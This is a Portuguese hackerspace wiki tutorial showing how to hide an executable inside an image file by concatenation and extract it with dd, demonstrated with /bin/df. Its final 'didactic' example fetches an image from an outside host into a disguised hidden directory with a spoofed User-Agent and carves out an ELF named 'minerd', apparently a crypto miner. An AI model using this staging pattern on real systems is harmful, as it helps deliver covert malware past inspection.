Como esconder um binário em um arquivo de imagem digital

De Área31 Hackerspace
Membro do hackerspace rindo à toa porque agora sabe esconder binários dentro de imagens JPEG e PNG, passando despercebido por qualquer Zé Mané ou até por agentes do Estado (ou da NSA kkkkk). E o melhor de tudo? Aquele arquivo “inocente” com o logo do Área31 está carregado de dados criptografados, tudo feito de forma poética e meticulosa.
Autor: 
* Coffnix

Motivo

Você já está no caminho certo ao garantir a segurança de seus sistemas, protegendo suas senhas, usando criptografia e seguindo as boas práticas recomendadas. Mas às vezes, apenas esconder dados não é o suficiente.

Há situações em que proteger informações é apenas metade da batalha, e a outra metade é ocultá-las. Afinal, você pode estar enfrentando um ambiente onde o simples uso de criptografia já levanta suspeitas. E é aí que entra o conceito de esteganografia: esconder dados à vista de todos, sem que ninguém perceba. Isso permite que você embuta um binário, ou qualquer outro dado, dentro de arquivos inofensivos como uma imagem JPG ou PNG.

Há também um exemplo clássico de como esteganografia foi usada por agentes do governo dos EUA, especificamente pela NSA. Durante uma investigação, ficou claro que informações confidenciais estavam sendo ocultadas em imagens, que eram carregadas em anúncios aparentemente inofensivos no eBay. Esses anúncios disfarçados serviam como meio de comunicação secreta, onde arquivos binários ou informações sensíveis eram embutidos em imagens de produtos comuns. Esse caso mostrou como até mesmo grandes plataformas de comércio eletrônico podem ser usadas como veículos para operações secretas, destacando o poder da esteganografia para ocultar dados à vista de todos.​

Se você ainda acha que isso é só paranoia, pense novamente. Em um mundo onde entidades governamentais (sim, o ESTADO) monitoram cada byte que você envia ou recebe, qualquer camada extra de ocultação pode ser a diferença entre sua liberdade digital e a exposição. Portanto, se você precisa transportar algo confidencial, seja um arquivo executável ou qualquer outro dado crítico, aprender a ocultá-lo dentro de uma imagem pode ser a técnica definitiva no seu arsenal de privacidade.​

Requisitos

MacOS, Linux, FreeBSD ou qualquer outro UNIX. Windows users que se fodam.

Procedimento

Obtenha uma imagem qualquer, por exemplo a logo do Área31:

root # wget https://area31.net.br/wiki/images/c/c1/Logo_white.png


Verifique o tamanho do arquivo baixado:

root # mdls -name kMDItemFSSize Logo_white.png
kMDItemFSSize = 229295


Concatene o arquivo de imagem com um binário (neste caso, o executável /bin/df):

root # cat Logo_white.png /bin/df > new.png


Extraia o binário oculto no novo arquivo new.png, pulando os primeiros bytes da imagem:

root # dd if=new.png of=extracted_df bs=1 skip=229295
119152+0 records in
119152+0 records out
119152 bytes transferred in 0.224519 secs (530699 bytes/sec)


Compare com o original:

root # diff /bin/df extracted_df


Verifique a integridade do binário extraído para garantir que ele está funcional:

root # chmod +x extracted_df
root # ./extracted_df


Exemplo "didático"

root # mkdir -p /tmp/... ; wget -O /tmp/.../... "https://ooo.0o0.ooo/2017/06/21/594a71626c759.png" --header="User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
root # dd if=/tmp/.../... skip=7664 bs=1 of=minerd
root # file minerd
minerd: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header

É só isso mesmo. Vlw Flw.

Cookies nos ajudam a entregar nossos serviços. Ao usar nossos serviços, você concorda com o uso de cookies.